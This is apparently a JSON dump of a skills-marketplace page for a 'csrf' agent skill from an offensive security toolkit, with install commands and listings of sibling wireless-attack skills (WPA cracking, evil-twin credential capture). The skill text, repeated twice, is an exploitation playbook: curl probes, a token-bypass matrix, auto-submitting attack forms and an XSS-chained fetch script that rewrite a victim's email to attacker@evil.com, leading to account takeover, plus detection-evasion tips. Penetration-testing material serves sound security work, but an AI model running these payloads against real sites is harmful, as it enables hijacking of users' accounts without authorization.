[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFPDM2RQFYXQHA8RAYE2PW":3,"skill-same:01M7DFPDM2RQFYXQHA8RAYE2PW":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFPDM2RQFYXQHA8RAYE2PW","csrf",null,"Cross-Site Request Forgery — missing\u002Finvalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login\u002Flogout CSRF, and CSRF-via-XSS chains to account takeover.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcsrf\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: csrf\ndescription: Cross-Site Request Forgery — missing\u002Finvalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login\u002Flogout CSRF, and CSRF-via-XSS chains to account takeover.\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"csrf xsrf anti-csrf token same-site samesite cookie state-changing forge cross-site request\"\n  mitre_attack: T1204\n  subdomain: execution\n  tags: web-application, csrf, xsrf, samesite, account-takeover\n---\n\n# CSRF Playbook\n\nAny state-changing endpoint (POST\u002FPUT\u002FDELETE, or GET with side effects) that\ntrusts ambient cookies and lacks a per-request unguessable token is forgeable.\nSeverity scales with the action: password\u002Femail change, fund transfer, role\ngrant → account takeover (Critical). Read-only CSRF (no state change) → Info.\n\n## 1. Detection — is the endpoint actually protected?\n```bash\n# Capture a real authenticated request first, then replay WITHOUT the token \u002F Origin \u002F Referer\nCOOKIE='session=...; remember=...'\n\n# (a) Strip CSRF token — does it still succeed?\ncurl -s -o \u002Fdev\u002Fnull -w \"no-token=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  --data \"email=attacker@evil.com\"\n\n# (b) Send a clearly invalid token — is it validated?\ncurl -s -o \u002Fdev\u002Fnull -w \"junk-token=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  --data \"csrf=AAAAAAAA&email=attacker@evil.com\"\n\n# (c) Swap another user's token in (token-not-bound-to-session)\ncurl -s -o \u002Fdev\u002Fnull -w \"other-token=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" --data \"csrf=\u003CTOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com\"\n\n# (d) Origin \u002F Referer header validation\ncurl -s -o \u002Fdev\u002Fnull -w \"no-origin=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" -H \"Origin: https:\u002F\u002Fevil.com\" --data \"csrf=\u003CTOKEN>&email=attacker@evil.com\"\n\n# (e) Method override (POST → GET, or X-HTTP-Method-Override)\ncurl -s -o \u002Fdev\u002Fnull -w \"method-override=%{http_code}\\n\" \\\n  \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail?email=attacker@evil.com\" -H \"Cookie: $COOKIE\"\n```\nHTTP 200\u002F302 on (a)-(e) = protection missing or trivially bypassable.\n\n## 2. Bypass \u002F misconfig matrix\n\n| Class | Server flaw | Bypass |\n|---|---|---|\n| Token absent | no token at all | direct cross-origin form POST |\n| Token not validated | header sent but never checked | send empty \u002F random token |\n| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |\n| Predictable token | sequential \u002F timestamp \u002F md5(userid) | precompute |\n| Token in URL | leaks via Referer \u002F logs \u002F shoulder | steal then replay |\n| Method-override | `_method=POST`, `X-HTTP-Method-Override: POST` | turn protected POST into a GET CSRF |\n| JSON CSRF | accepts `Content-Type: application\u002Fjson` from forms | submit form with `enctype=text\u002Fplain` + crafted body, or use `fetch` |\n| Content-type bypass | only validates token when CT=`application\u002Fx-www-form-urlencoded` | switch to `text\u002Fplain` or `multipart\u002Fform-data` |\n| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or `\u003Cform method=POST>` triggered by user click |\n| SameSite=None | no protection at all | classic cross-site form |\n| Missing on subset | only `\u002Fadmin\u002F*` protected | unprotected sister endpoint (`\u002Fapi\u002Fv1\u002Femail`) |\n| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |\n| Logout CSRF | logout has no token | denial-of-service \u002F phishing reset |\n| Double-submit cookie flaw | cookie not `__Host-` prefixed \u002F set from any subdomain | XSS on subdomain plants the cookie + matching body value |\n| Referer-only check | header strippable | `\u003Cmeta name=\"referrer\" content=\"no-referrer\">` on attacker page |\n\n## 3. Exploit PoC\n\n### 3.1 Classic form CSRF (auto-submit)\n```html\n\u003C!-- host on attacker origin; victim is logged into \u003CTARGET> -->\n\u003Cform id=\"x\" action=\"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" method=\"POST\">\n  \u003Cinput name=\"email\" value=\"attacker@evil.com\">\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('x').submit();\u003C\u002Fscript>\n```\n\n### 3.2 JSON CSRF via text\u002Fplain\n```html\n\u003Cform action=\"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" method=\"POST\" enctype=\"text\u002Fplain\">\n  \u003Cinput name='{\"email\":\"attacker@evil.com\",\"ignore\":\"' value='\"}'>\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit();\u003C\u002Fscript>\n```\n\n### 3.3 CSRF via XSS (defeats double-submit \u002F SameSite)\n```js\n\u002F\u002F runs as same-origin via XSS on \u003CTARGET>\nfetch('\u002Faccount\u002Fcsrf-token').then(r => r.text()).then(t => {\n  fetch('\u002Faccount\u002Femail', {\n    method: 'POST', credentials: 'include',\n    headers: {'Content-Type':'application\u002Fx-www-form-urlencoded','X-CSRF-Token': t},\n    body: 'email=attacker@evil.com'\n  });\n});\n```\n\n## 4. Chains\n- **CSRF → ATO**: change email → password reset → full takeover.\n- **Login CSRF → activity capture**: victim posts data into attacker's account.\n- **CSRF → privilege grant**: forge `role=admin` mass-assignment POST.\n- **Subdomain XSS → double-submit bypass**: write the CSRF cookie from a sibling, then forge.\n\n## 5. Tools\n- Burp Suite — *Engagement Tools → Generate CSRF PoC*, *CSRF Scanner* extension\n- **XSRFProbe** — automated CSRF audit (`xsrfprobe -u https:\u002F\u002F\u003CTARGET>`)\n- **Bolt** — context-aware CSRF scanner\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Many `POST` from foreign Origin | WAF Origin\u002FReferer rule | Use blank\u002Fnull Referer to test, throttle |\n| Repeated token mutation on one session | App-side anomaly | Toggle one variable per request |\n| Auto-submit form referrer from attacker host | Access-log correlation | Host PoC on in-scope collector during authorized tests |\n\n## Decision Gate: CSRF confirmed → exploitation\n- [ ] State-changing action succeeds without \u002F with junk token\n- [ ] Origin\u002FReferer not strictly validated (or strippable)\n- [ ] Cookie reaches the endpoint cross-site (SameSite ≠ Strict, or top-level nav)\n- [ ] PoC achieves a security-relevant change (email, password, role, funds)\nIf all checked, escalate per `finding-protocol`; otherwise downgrade.\n","# CSRF Playbook\n\nAny state-changing endpoint (POST\u002FPUT\u002FDELETE, or GET with side effects) that\ntrusts ambient cookies and lacks a per-request unguessable token is forgeable.\nSeverity scales with the action: password\u002Femail change, fund transfer, role\ngrant → account takeover (Critical). Read-only CSRF (no state change) → Info.\n\n## 1. Detection — is the endpoint actually protected?\n```bash\n# Capture a real authenticated request first, then replay WITHOUT the token \u002F Origin \u002F Referer\nCOOKIE='session=...; remember=...'\n\n# (a) Strip CSRF token — does it still succeed?\ncurl -s -o \u002Fdev\u002Fnull -w \"no-token=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  --data \"email=attacker@evil.com\"\n\n# (b) Send a clearly invalid token — is it validated?\ncurl -s -o \u002Fdev\u002Fnull -w \"junk-token=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  --data \"csrf=AAAAAAAA&email=attacker@evil.com\"\n\n# (c) Swap another user's token in (token-not-bound-to-session)\ncurl -s -o \u002Fdev\u002Fnull -w \"other-token=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" --data \"csrf=\u003CTOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com\"\n\n# (d) Origin \u002F Referer header validation\ncurl -s -o \u002Fdev\u002Fnull -w \"no-origin=%{http_code}\\n\" -X POST \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" \\\n  -H \"Cookie: $COOKIE\" -H \"Origin: https:\u002F\u002Fevil.com\" --data \"csrf=\u003CTOKEN>&email=attacker@evil.com\"\n\n# (e) Method override (POST → GET, or X-HTTP-Method-Override)\ncurl -s -o \u002Fdev\u002Fnull -w \"method-override=%{http_code}\\n\" \\\n  \"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail?email=attacker@evil.com\" -H \"Cookie: $COOKIE\"\n```\nHTTP 200\u002F302 on (a)-(e) = protection missing or trivially bypassable.\n\n## 2. Bypass \u002F misconfig matrix\n\n| Class | Server flaw | Bypass |\n|---|---|---|\n| Token absent | no token at all | direct cross-origin form POST |\n| Token not validated | header sent but never checked | send empty \u002F random token |\n| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |\n| Predictable token | sequential \u002F timestamp \u002F md5(userid) | precompute |\n| Token in URL | leaks via Referer \u002F logs \u002F shoulder | steal then replay |\n| Method-override | `_method=POST`, `X-HTTP-Method-Override: POST` | turn protected POST into a GET CSRF |\n| JSON CSRF | accepts `Content-Type: application\u002Fjson` from forms | submit form with `enctype=text\u002Fplain` + crafted body, or use `fetch` |\n| Content-type bypass | only validates token when CT=`application\u002Fx-www-form-urlencoded` | switch to `text\u002Fplain` or `multipart\u002Fform-data` |\n| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or `\u003Cform method=POST>` triggered by user click |\n| SameSite=None | no protection at all | classic cross-site form |\n| Missing on subset | only `\u002Fadmin\u002F*` protected | unprotected sister endpoint (`\u002Fapi\u002Fv1\u002Femail`) |\n| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |\n| Logout CSRF | logout has no token | denial-of-service \u002F phishing reset |\n| Double-submit cookie flaw | cookie not `__Host-` prefixed \u002F set from any subdomain | XSS on subdomain plants the cookie + matching body value |\n| Referer-only check | header strippable | `\u003Cmeta name=\"referrer\" content=\"no-referrer\">` on attacker page |\n\n## 3. Exploit PoC\n\n### 3.1 Classic form CSRF (auto-submit)\n```html\n\u003C!-- host on attacker origin; victim is logged into \u003CTARGET> -->\n\u003Cform id=\"x\" action=\"https:\u002F\u002F\u003CTARGET>\u002Faccount\u002Femail\" method=\"POST\">\n  \u003Cinput name=\"email\" value=\"attacker@evil.com\">\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('x').submit();\u003C\u002Fscript>\n```\n\n### 3.2 JSON CSRF via text\u002Fplain\n```html\n\u003Cform action=\"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Faccount\" method=\"POST\" enctype=\"text\u002Fplain\">\n  \u003Cinput name='{\"email\":\"attacker@evil.com\",\"ignore\":\"' value='\"}'>\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit();\u003C\u002Fscript>\n```\n\n### 3.3 CSRF via XSS (defeats double-submit \u002F SameSite)\n```js\n\u002F\u002F runs as same-origin via XSS on \u003CTARGET>\nfetch('\u002Faccount\u002Fcsrf-token').then(r => r.text()).then(t => {\n  fetch('\u002Faccount\u002Femail', {\n    method: 'POST', credentials: 'include',\n    headers: {'Content-Type':'application\u002Fx-www-form-urlencoded','X-CSRF-Token': t},\n    body: 'email=attacker@evil.com'\n  });\n});\n```\n\n## 4. Chains\n- **CSRF → ATO**: change email → password reset → full takeover.\n- **Login CSRF → activity capture**: victim posts data into attacker's account.\n- **CSRF → privilege grant**: forge `role=admin` mass-assignment POST.\n- **Subdomain XSS → double-submit bypass**: write the CSRF cookie from a sibling, then forge.\n\n## 5. Tools\n- Burp Suite — *Engagement Tools → Generate CSRF PoC*, *CSRF Scanner* extension\n- **XSRFProbe** — automated CSRF audit (`xsrfprobe -u https:\u002F\u002F\u003CTARGET>`)\n- **Bolt** — context-aware CSRF scanner\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Many `POST` from foreign Origin | WAF Origin\u002FReferer rule | Use blank\u002Fnull Referer to test, throttle |\n| Repeated token mutation on one session | App-side anomaly | Toggle one variable per request |\n| Auto-submit form referrer from attacker host | Access-log correlation | Host PoC on in-scope collector during authorized tests |\n\n## Decision Gate: CSRF confirmed → exploitation\n- [ ] State-changing action succeeds without \u002F with junk token\n- [ ] Origin\u002FReferer not strictly validated (or strippable)\n- [ ] Cookie reaches the endpoint cross-site (SameSite ≠ Strict, or top-level nav)\n- [ ] PoC achieves a security-relevant change (email, password, role, funds)\nIf all checked, escalate per `finding-protocol`; otherwise downgrade.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, csrf, xsrf, samesite, account-takeover","execution","csrf xsrf anti-csrf token same-site samesite cookie state-changing forge cross-site request","T1204","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcsrf","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill csrf",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill csrf",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill csrf","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcsrf\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]